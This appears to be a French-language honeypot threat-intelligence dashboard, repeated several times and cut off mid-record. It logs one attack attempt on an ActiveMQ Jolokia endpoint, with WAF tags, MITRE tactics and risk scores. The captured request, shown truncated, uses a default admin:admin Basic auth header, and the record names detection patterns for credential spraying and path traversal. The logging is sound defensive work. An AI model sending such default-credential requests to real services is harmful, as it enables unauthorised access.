"pat-0842",
"pat-0463",
"pat-0103"
],
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 77
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 95,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 400536,
"org": "Nodestop LLC",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "1066b48224bb188ceb955605f4fcff98",
"payload_hash": "9a186b7f3893d03e9a8b8ef631bdd9f5",
"path_pattern_hash": "fbd2c50c91d33f93fedb0bc479b36e4f"
},
"target_context": {
"dst_port": 8161,
"service": "http",
"service_name": "http",
"risk_score": 77
},
"payload_preview": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"method": "POST",
"path": "\/api\/jolokia\/",
"user_agent": "Mozilla\/5.0",
"waf_tags": [
"950319:lfi-14",
"950403:ssrf-2",
"950406:ssrf-3",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"950600:k8s-api"
],
"waf_rule_names": [
"lfi-14",
"ssrf-2",
"ssrf-3",
"nosqli-3",
"k8s-api"
],
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"request_sample": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/json\r\nOrigin: http:\/\/62.3.50.33:8161\r\nConnection: close\r\nUser-Agent: Mozilla\/5.0\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\n\r\n{\"type\"",
"payload_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"evidence": {
"method": "POST",
"path": "\/api\/jolokia\/",
"user_agent": "Mozilla\/5.0",
"waf_tags": [
"950319:lfi-14",
"950403:ssrf-2",
"950406:ssrf-3",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"950600:k8s-api"
],
"waf_rule_names": [
"lfi-14",
"ssrf-2",
"ssrf-3",
"nosqli-3",
"k8s-api"
],
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"request_sample": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/json\r\nOrigin: http:\/\/62.3.50.33:8161\r\nConnection: close\r\nUser-Agent: Mozilla\/5.0\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\n\r\n{\"type\"",
"payload_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"classification_reason": "Motif SSRF \u00b7 confiance 95%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"web_injection",
"ssrf_probe"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "7b6d2312abc6797153b3f0e6e4bba1726bac3016",
"protocol_details": {
"http_method": "POST",
"http_path": "\/api\/jolokia\/",
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0",
"port": 8161,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"attack_vector": "http smuggling probe \u00b7 via HTTP:8161 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/api\/jolokia\/",
"target_port_label": "8161 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 8 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Motif SSRF \u00b7 confiance 95%",
"classification_reason_label_fr": "Motif SSRF \u00b7 confiance 95%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 77\/100 (\u00c9lev\u00e9) \u2014 MITRE TA0001 \u2014 confiance 95 % \u2014 via HTTP",
"confidence_pct": 95,
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 77
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 77,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8161,
"protocol_emulated": true,
"tags_summary": [
"pat-0842"
],
"tags_summary_labels_fr": [
"pat-0842"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "POST",
"http_path": "\/api\/jolokia\/",
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0",
"port": 8161,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "http smuggling probe \u00b7 via HTTP:8161 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/api\/jolokia\/",
"evidence_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"target_port_label": "8161 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 8 tag(s) WAF",
"confidence_factors_fr": "Confiance 95 % \u2014 Score WAF 100 \u00b7 8 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8161"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950319:lfi-14",
"950403:ssrf-2",
"950406:ssrf-3",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"950600:k8s-api",
"http_auth_header_token",
"http_basic_auth",
"http_jwt_body",
"http_probe_api",
"http_ssrf_body",
"net_web_probe"
]
}
|
|
|
TCP |
8161 · HTTP
|
http
|
Sonde HTTP smuggling
http smuggling probe · via HTTP:8161 · (tentative d'exploit) · → /api/jolokia/
|
Élevée
|
Élevé · 77
|
|
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0001
TA0001
TA0002
Protocole
POST /api/jolokia/ UA Mozilla/5.0
Émulateur
HTTP
WAF
48
Recommandation
Investiguer
Tags
950319:lfi-14
950403:ssrf-2
950406:ssrf-3
950407:ssrf-3
Cible HTTP
POST
/api/jolokia/
TLS SNI
—
Capteur
paris-1
|
Méthode
POST
Port
8161
Chemin / cible
/api/jolokia/
Pourquoi cette classification : Motif SSRF · confiance 95%
Confiance classification
95%
Risque capteur
Élevé
· 77
Confiance : Confiance 95 % — Motif catalogue confirmé · 8 tag(s) WAF
Protocole émulé
1
Signaux
pat-0842
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 921130 duplicate CL
Cred Basic auth spray
LFI Double-dot bypass
Ligne de requête
POST /api/jolokia/ HTTP/1.1
User-Agent
Mozilla/5.0
Règles WAF
lfi-14
ssrf-2
ssrf-3
nosqli-3
k8s-api
Payload (extrait)
POST /api/jolokia/ HTTP/1.1
Accept-Encoding: identity
Content-Length: 212
Host: 62.3.50.33:8161
Content-Type: application/js
Requête brute (extrait)
POST /api/jolokia/ HTTP/1.1 Accept-Encoding: identity Content-Length: 212 Host: 62.3.50.33:8161 Content-Type: application/json Origin: http://62.3.50.33:8161 Connection: close User-Agent: Mozilla/5.0 Authorization: Basic YWRtaW46YWRtaW4= {"type"
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204a657474792f392e34204163746976654d512f352e31380d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2034390d0a0d0a3c68746d6c3e3c626f64793e417061636865204163746976654d5120436f6e",
"emulator_response_len": 146,
"http_header_count": 8,
"http_query_params": 0,
"http_path_depth": 2,
"http_path_ext": null,
"http_ua_hash": "82aa6a482bd276cff149740478a603a5fe834840",
"http_host_hash": "66eb19834a7c23530413a6e482ea0316c4442029",
"http_target_hash": "2a44111495e58a342bdfbe6c7704d4d2a61c7ab4",
"http_referer_hash": null,
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 461,
"payload_entropy": 5.385462635806404,
"port_category": "registered",
"org": "Nodestop LLC",
"service": "http",
"app_proto": "http",
"asn": 400536,
"country": "US",
"dst_port": 8161,
"risk_waf": 100,
"risk_classification": 85,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 15,
"risk_granularity": 4.3,
"risk_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25
},
"risk_score": 77,
"tag_count": 14,
"anomaly_count": 0,
"campaign_key": "76acd9525fd2a74223d3ce4d0f313569f243054d",
"event_fingerprint": "d25d0e5c27488b8322bbfae9b19c64b7c1a33e47",
"classification_reason": "Motif SSRF \u00b7 confiance 95%",
"confidence": 0.95,
"classification_confidence": 0.95,
"precision_score": 84,
"precision_signals": [
"pat-0842"
],
"kb_rule_ids": [
"pat-0842"
],
"matched_patterns": [
"pat-0842",
"pat-0463",
"pat-0103"
],
"matched_pattern_names": [
"CRS 921130 duplicate CL",
"Cred Basic auth spray",
"LFI Double-dot bypass"
],
"pattern_ids": [
"pat-0842",
"pat-0463",
"pat-0103"
],
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 77
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 95,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 400536,
"org": "Nodestop LLC",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "1066b48224bb188ceb955605f4fcff98",
"payload_hash": "9a186b7f3893d03e9a8b8ef631bdd9f5",
"path_pattern_hash": "fbd2c50c91d33f93fedb0bc479b36e4f"
},
"target_context": {
"dst_port": 8161,
"service": "http",
"service_name": "http",
"risk_score": 77
},
"payload_preview": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"method": "POST",
"path": "\/api\/jolokia\/",
"user_agent": "Mozilla\/5.0",
"waf_tags": [
"950319:lfi-14",
"950403:ssrf-2",
"950406:ssrf-3",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"950600:k8s-api"
],
"waf_rule_names": [
"lfi-14",
"ssrf-2",
"ssrf-3",
"nosqli-3",
"k8s-api"
],
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"request_sample": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/json\r\nOrigin: http:\/\/62.3.50.33:8161\r\nConnection: close\r\nUser-Agent: Mozilla\/5.0\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\n\r\n{\"type\"",
"payload_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"evidence": {
"method": "POST",
"path": "\/api\/jolokia\/",
"user_agent": "Mozilla\/5.0",
"waf_tags": [
"950319:lfi-14",
"950403:ssrf-2",
"950406:ssrf-3",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"950600:k8s-api"
],
"waf_rule_names": [
"lfi-14",
"ssrf-2",
"ssrf-3",
"nosqli-3",
"k8s-api"
],
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"request_sample": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/json\r\nOrigin: http:\/\/62.3.50.33:8161\r\nConnection: close\r\nUser-Agent: Mozilla\/5.0\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\n\r\n{\"type\"",
"payload_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"classification_reason": "Motif SSRF \u00b7 confiance 95%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"web_injection",
"ssrf_probe"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "7b6d2312abc6797153b3f0e6e4bba1726bac3016",
"protocol_details": {
"http_method": "POST",
"http_path": "\/api\/jolokia\/",
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0",
"port": 8161,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"attack_vector": "http smuggling probe \u00b7 via HTTP:8161 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/api\/jolokia\/",
"target_port_label": "8161 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 8 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Motif SSRF \u00b7 confiance 95%",
"classification_reason_label_fr": "Motif SSRF \u00b7 confiance 95%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 77\/100 (\u00c9lev\u00e9) \u2014 MITRE TA0001 \u2014 confiance 95 % \u2014 via HTTP",
"confidence_pct": 95,
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 77
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 77,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8161,
"protocol_emulated": true,
"tags_summary": [
"pat-0842"
],
"tags_summary_labels_fr": [
"pat-0842"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "POST",
"http_path": "\/api\/jolokia\/",
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0",
"port": 8161,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "http smuggling probe \u00b7 via HTTP:8161 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/api\/jolokia\/",
"evidence_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"target_port_label": "8161 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 8 tag(s) WAF",
"confidence_factors_fr": "Confiance 95 % \u2014 Score WAF 100 \u00b7 8 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8161"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950319:lfi-14",
"950403:ssrf-2",
"950406:ssrf-3",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"950600:k8s-api",
"http_auth_header_token",
"http_basic_auth",
"http_jwt_body",
"http_probe_api",
"http_ssrf_body",
"net_web_probe"
]
}
|
|
|
TCP |
8161 · HTTP
|
http
|
Sonde HTTP smuggling
http smuggling probe · via HTTP:8161 · (tentative d'exploit) · → /api/jolokia/
|
Élevée
|
Élevé · 77
|
|
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0001
TA0001
TA0002
Protocole
POST /api/jolokia/ UA Mozilla/5.0
Émulateur
HTTP
WAF
48
Recommandation
Investiguer
Tags
950319:lfi-14
950403:ssrf-2
950406:ssrf-3
950407:ssrf-3
Cible HTTP
POST
/api/jolokia/
TLS SNI
—
Capteur
paris-1
|
Méthode
POST
Port
8161
Chemin / cible
/api/jolokia/
Pourquoi cette classification : Motif SSRF · confiance 95%
Confiance classification
95%
Risque capteur
Élevé
· 77
Confiance : Confiance 95 % — Motif catalogue confirmé · 8 tag(s) WAF
Protocole émulé
1
Signaux
pat-0842
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 921130 duplicate CL
Cred Basic auth spray
LFI Double-dot bypass
Ligne de requête
POST /api/jolokia/ HTTP/1.1
User-Agent
Mozilla/5.0
Règles WAF
lfi-14
ssrf-2
ssrf-3
nosqli-3
k8s-api
Payload (extrait)
POST /api/jolokia/ HTTP/1.1
Accept-Encoding: identity
Content-Length: 212
Host: 62.3.50.33:8161
Content-Type: application/js
Requête brute (extrait)
POST /api/jolokia/ HTTP/1.1 Accept-Encoding: identity Content-Length: 212 Host: 62.3.50.33:8161 Content-Type: application/json Origin: http://62.3.50.33:8161 Connection: close User-Agent: Mozilla/5.0 Authorization: Basic YWRtaW46YWRtaW4= {"type"
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204a657474792f392e34204163746976654d512f352e31380d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2034390d0a0d0a3c68746d6c3e3c626f64793e417061636865204163746976654d5120436f6e",
"emulator_response_len": 146,
"http_header_count": 8,
"http_query_params": 0,
"http_path_depth": 2,
"http_path_ext": null,
"http_ua_hash": "82aa6a482bd276cff149740478a603a5fe834840",
"http_host_hash": "66eb19834a7c23530413a6e482ea0316c4442029",
"http_target_hash": "2a44111495e58a342bdfbe6c7704d4d2a61c7ab4",
"http_referer_hash": null,
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 461,
"payload_entropy": 5.385462635806404,
"port_category": "registered",
"org": "Nodestop LLC",
"service": "http",
"app_proto": "http",
"asn": 400536,
"country": "US",
"dst_port": 8161,
"risk_waf": 100,
"risk_classification": 85,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 15,
"risk_granularity": 4.3,
"risk_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25
},
"risk_score": 77,
"tag_count": 14,
"anomaly_count": 0,
"campaign_key": "76acd9525fd2a74223d3ce4d0f313569f243054d",
"event_fingerprint": "d25d0e5c27488b8322bbfae9b19c64b7c1a33e47",
"classification_reason": "Motif SSRF \u00b7 confiance 95%",
"confidence": 0.95,
"classification_confidence": 0.95,
"precision_score": 84,
"precision_signals": [
"pat-0842"
],
"kb_rule_ids": [
"pat-0842"
],
"matched_patterns": [
"pat-0842",
"pat-0463",
"pat-0103"
],
"matched_pattern_names": [
"CRS 921130 duplicate CL",
"Cred Basic auth spray",
"LFI Double-dot bypass"
],
"pattern_ids": [
"pat-0842",
"pat-0463",
"pat-0103"
],
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 77
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 95,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 400536,
"org": "Nodestop LLC",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "1066b48224bb188ceb955605f4fcff98",
"payload_hash": "9a186b7f3893d03e9a8b8ef631bdd9f5",
"path_pattern_hash": "fbd2c50c91d33f93fedb0bc479b36e4f"
},
"target_context": {
"dst_port": 8161,
"service": "http",
"service_name": "http",
"risk_score": 77
},
"payload_preview": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"method": "POST",
"path": "\/api\/jolokia\/",
"user_agent": "Mozilla\/5.0",
"waf_tags": [
"950319:lfi-14",
"950403:ssrf-2",
"950406:ssrf-3",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"950600:k8s-api"
],
"waf_rule_names": [
"lfi-14",
"ssrf-2",
"ssrf-3",
"nosqli-3",
"k8s-api"
],
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"request_sample": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/json\r\nOrigin: http:\/\/62.3.50.33:8161\r\nConnection: close\r\nUser-Agent: Mozilla\/5.0\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\n\r\n{\"type\"",
"payload_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"evidence": {
"method": "POST",
"path": "\/api\/jolokia\/",
"user_agent": "Mozilla\/5.0",
"waf_tags": [
"950319:lfi-14",
"950403:ssrf-2",
"950406:ssrf-3",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"950600:k8s-api"
],
"waf_rule_names": [
"lfi-14",
"ssrf-2",
"ssrf-3",
"nosqli-3",
"k8s-api"
],
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"request_sample": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/json\r\nOrigin: http:\/\/62.3.50.33:8161\r\nConnection: close\r\nUser-Agent: Mozilla\/5.0\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\n\r\n{\"type\"",
"payload_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"classification_reason": "Motif SSRF \u00b7 confiance 95%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"web_injection",
"ssrf_probe"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "7b6d2312abc6797153b3f0e6e4bba1726bac3016",
"protocol_details": {
"http_method": "POST",
"http_path": "\/api\/jolokia\/",
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0",
"port": 8161,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"attack_vector": "http smuggling probe \u00b7 via HTTP:8161 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/api\/jolokia\/",
"target_port_label": "8161 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 8 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Motif SSRF \u00b7 confiance 95%",
"classification_reason_label_fr": "Motif SSRF \u00b7 confiance 95%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 77\/100 (\u00c9lev\u00e9) \u2014 MITRE TA0001 \u2014 confiance 95 % \u2014 via HTTP",
"confidence_pct": 95,
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 77
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 77,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8161,
"protocol_emulated": true,
"tags_summary": [
"pat-0842"
],
"tags_summary_labels_fr": [
"pat-0842"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "POST",
"http_path": "\/api\/jolokia\/",
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0",
"port": 8161,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "http smuggling probe \u00b7 via HTTP:8161 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/api\/jolokia\/",
"evidence_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"target_port_label": "8161 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 8 tag(s) WAF",
"confidence_factors_fr": "Confiance 95 % \u2014 Score WAF 100 \u00b7 8 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8161"
},
"hostname": "mail.sensor-1.internal",
